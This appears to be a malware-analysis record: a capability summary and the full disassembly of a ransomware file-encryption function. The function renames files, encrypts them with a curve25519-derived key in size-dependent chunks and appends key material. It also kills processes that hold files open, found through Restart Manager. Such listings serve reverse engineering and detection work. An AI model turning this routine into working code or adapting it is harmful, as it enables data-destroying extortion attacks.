Function at 0x409780
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2cc0
call fcn.00412ee0
mov byte [ebp - 0xc8], 9
xor eax, eax
mov dword [ebp - 0xc7], eax
mov dword [ebp - 0xc3], eax
mov dword [ebp - 0xbf], eax
mov dword [ebp - 0xbb], eax
mov dword [ebp - 0xb7], eax
mov dword [ebp - 0xb3], eax
mov dword [ebp - 0xaf], eax
mov word [ebp - 0xab], ax
mov byte [ebp - 0xa9], al
mov dword [ebp - 0x6c], 1
mov ecx, 0x6420676e
mov dword [ebp - 0x130], 0x756f6863
mov dword [ebp - 0x12c], ecx
mov edx, 0x6b6f6f6c
mov dword [ebp - 0x128], 0x20676e6f
mov dword [ebp - 0x124], edx
mov eax, 0x6820656b
mov dword [ebp - 0x120], 0x696c2073
mov dword [ebp - 0x11c], eax
mov ecx, 0x2121676f
mov dword [ebp - 0x118], 0x6420746f
mov dword [ebp - 0x114], ecx
push 0x80
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 0xe]
push ecx
call fcn.00412b20
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40a301
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x403a94
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 9
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x40a272
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x28]
push edx
call fcn.00412b50
add esp, 4
cmp dword [ebp - 4], 0xffffffff
je 0x409db5
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 0x100000
call fcn.00412b20
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409da6
lea edx, [ebp - 0xf0]
push edx
push 0x20
mov eax, dword [0x413240]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [ebp + edx - 0xf0]
and eax, 0xf8
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0xf0], al
mov eax, 1
imul ecx, eax, 0x1f
movzx edx, byte [ebp + ecx - 0xf0]
and edx, 0x7f
mov eax, 1
imul ecx, eax, 0x1f
mov byte [ebp + ecx - 0xf0], dl
mov edx, 1
imul eax, edx, 0x1f
movzx ecx, byte [ebp + eax - 0xf0]
or ecx, 0x40
mov edx, 1
imul eax, edx, 0x1f
mov byte [ebp + eax - 0xf0], cl
lea ecx, [ebp - 0xc8]
push ecx
lea edx, [ebp - 0xf0]
push edx
lea eax, [ebp - 0x158]
push eax
call fcn.00404e80
add esp, 0xc
push 0x401a5c
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0x110]
push edx
call fcn.00404e80
add esp, 0xc
lea eax, [ebp - 0x198]
push eax
push 0x20
lea ecx, [ebp - 0x110]
push ecx
call fcn.00410770
add esp, 0xc
push 0x100
push 0x100
lea edx, [ebp - 0x198]
push edx
lea eax, [ebp - 0x12a8]
push eax
call fcn.0040fb10
add esp, 0x10
lea ecx, [ebp - 0x178]
push ecx
lea edx, [ebp - 0x12a8]
push edx
call fcn.0040fba0
add esp, 8
push 0x40
lea eax, [ebp - 0x198]
push eax
call fcn.00410210
add esp, 8
mov dword [ebp - 0x138], eax
push 0x40
push 0
mov ecx, 4
imul edx, ecx, 0
lea eax, [ebp + edx - 0x224]
push eax
call fcn.00412ab0
add esp, 0xc
push 0x40
push 0
lea ecx, [ebp - 0x198]
push ecx
call fcn.00412ab0
add esp, 0xc
push 0x40
push 0
lea edx, [ebp - 0x110]
push edx
call fcn.00412ab0
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp dword [ebp - 0x1c], 0
jl 0x409b76
jg 0x409a80
cmp dword [ebp - 0x20], 0x1400000
jbe 0x409b76
push 0
push 0xa00000
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00412e30
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x54], xmm0
jmp 0x409abc
mov edx, dword [ebp - 0x54]
add edx, 1
mov eax, dword [ebp - 0x50]
adc eax, 0
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x94]
jg 0x409b71
jl 0x409adc
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x98]
jae 0x409b71
push 0
lea eax, [ebp - 0x24]
push eax
push 0x100000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x12a8]
push eax
push 0
call fcn.0040ff00
add esp, 0x14
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0x100000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x14]
add ecx, 0xa00000
mov edx, dword [ebp - 0x10]
adc edx, 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x409aaa
jmp 0x409d4d
cmp dword [ebp - 0x1c], 0
jl 0x409c7a
jg 0x409b8f
cmp dword [ebp - 0x20], 0x500000
jbe 0x409c7a
push 0
push 3
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00412e30
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x5c], xmm0
jmp 0x409bc8
mov edx, dword [ebp - 0x5c]
add edx, 1
mov eax, dword [ebp - 0x58]
adc eax, 0
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jg 0x409c75
jl 0x409bde
cmp dword [ebp - 0x5c], 3
jae 0x409c75
push 0
lea ecx, [ebp - 0x24]
push ecx
push 0x100000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x12a8]
push ecx
push 0
call fcn.0040ff00
add esp, 0x14
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea edx, [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x10]
adc ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
jmp 0x409bb6
jmp 0x409d4d
cmp dword [ebp - 0x1c], 0
jl 0x409d4d
jg 0x409c90
cmp dword [ebp - 0x20], 0
jbe 0x409d4d
cmp dword [ebp - 0x1c], 0
jl 0x409cbd
jg 0x409c9e
cmp dword [ebp - 0x20], 0x40
jbe 0x409cbd
push 0
push 0xa
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.00412e30
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
jmp 0x409ccf
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], ecx
push 0
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x12a8]
push eax
push 0
call fcn.0040ff00
add esp, 0x14
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10cc
push 0
lea edx, [ebp - 0x12a8]
push edx
call fcn.00412ab0
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 2
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x30]
push eax
push 0x48
lea ecx, [ebp - 0x158]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call fcn.00412b50
add esp, 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a26d
cmp dword [ebp - 0x6c], 0
je 0x40a1de
mov dword [ebp - 0x18], 0
push 0x42
push 0
lea edx, [ebp - 0x1dc]
push edx
call fcn.00412ab0
add esp, 0xc
lea eax, [ebp - 0x1dc]
push eax
push 0
lea ecx, [ebp - 0x40]
push ecx
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x409df8
mov dword [ebp - 0x7c], 1
jmp 0x409dff
mov dword [ebp - 0x7c], 0
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40a151
push 0
push 0
push 0
push 0
lea eax, [ebp + 8]
push eax
push 1
mov ecx, dword [ebp - 0x40]
push ecx
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
jne 0x409e33
mov dword [ebp - 0x80], 1
jmp 0x409e3a
mov dword [ebp - 0x80], 0
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40a0af
mov dword [ebp - 0x88], 0xa
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x2cc0]
push ecx
lea edx, [ebp - 0x88]
push edx
lea eax, [ebp - 0xcc]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
jne 0x409e89
mov dword [ebp - 0x84], 1
jmp 0x409e93
mov dword [ebp - 0x84], 0
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40a022
mov dword [ebp - 0xc], 0
jmp 0x409eb8
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x88]
jae 0x40a01d
imul edx, dword [ebp - 0xc], 0x29c
cmp dword [ebp + edx - 0x2a34], 4
je 0x40a018
imul eax, dword [ebp - 0xc], 0x29c
cmp dword [ebp + eax - 0x2a34], 0x3e8
je 0x40a018
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
imul ecx, dword [ebp - 0xc], 0x29c
cmp eax, dword [ebp + ecx - 0x2cc0]
je 0x40a018
imul edx, dword [ebp - 0xc], 0x29c
mov eax, dword [ebp + edx - 0x2cc0]
push eax
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x409f5d
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a018
cmp dword [0x41323c], 0
je 0x40a018
push 0
push 0
push 0
push 0
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
imul eax, dword [ebp - 0xc], 0x29c
lea ecx, [ebp + eax - 0x2cb4]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x60]
push edx
call fcn.00412b20
add esp, 4
mov dword [ebp - 0x34], eax
push 0
push 0
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
imul edx, dword [ebp - 0xc], 0x29c
lea eax, [ebp + edx - 0x2cb4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2cb4]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [ebp - 0x34]
push eax
push 0x401a7c
call fcn.00404d30
add esp, 0xc
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.00412b50
add esp, 4
jmp 0x409eaf
jmp 0x40a0aa
cmp dword [0x41323c], 0
je 0x40a0aa
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00412b20
add esp, 4
mov dword [ebp - 0x38], eax
push 0
push 0
mov edx, dword [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
push 0x403aa4
call fcn.00404d30
add esp, 0xc
mov edx, dword [ebp - 0x38]
push edx
call fcn.00412b50
add esp, 4
jmp 0x40a137
cmp dword [0x41323c], 0
je 0x40a137
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x68]
push edx
call fcn.00412b20
add esp, 4
mov dword [ebp - 0x3c], eax
push 0
push 0
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
push 0x403ab4
call fcn.00404d30
add esp, 0xc
mov eax, dword [ebp - 0x3c]
push eax
call fcn.00412b50
add esp, 4
mov ecx, dword [ebp - 0x40]
push ecx
call sub.RstrtMgr.DLL_RmEndSession
mov dword [ebp - 0x6c], 0
jmp 0x409890
cmp dword [0x41323c], 0
je 0x40a1d9
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00412b20
add esp, 4
mov dword [ebp - 0x44], eax
push 0
push 0
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
push 0x403ad0
call fcn.00404d30
add esp, 0xc
mov edx, dword [ebp - 0x44]
push edx
call fcn.00412b50
add esp, 4
jmp 0x40a26d
cmp dword [0x41323c], 0
je 0x40a26d
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x74], eax
mov edx, dword [ebp - 0x74]
push edx
call fcn.00412b20
add esp, 4
mov dword [ebp - 0x48], eax
push 0
push 0
mov eax, dword [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
push 0x403ae8
call fcn.00404d30
add esp, 0xc
mov edx, dword [ebp - 0x48]
push edx
call fcn.00412b50
add esp, 4
jmp 0x40a301
cmp dword [0x41323c], 0
je 0x40a301
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x78], eax
mov edx, dword [ebp - 0x78]
push edx
call fcn.00412b20
add esp, 4
mov dword [ebp - 0x4c], eax
push 0
push 0
mov eax, dword [ebp - 0x78]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
push 0x403b0c
call fcn.00404d30
add esp, 0xc
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00412b50
add esp, 4
mov esp, ebp
pop ebp
ret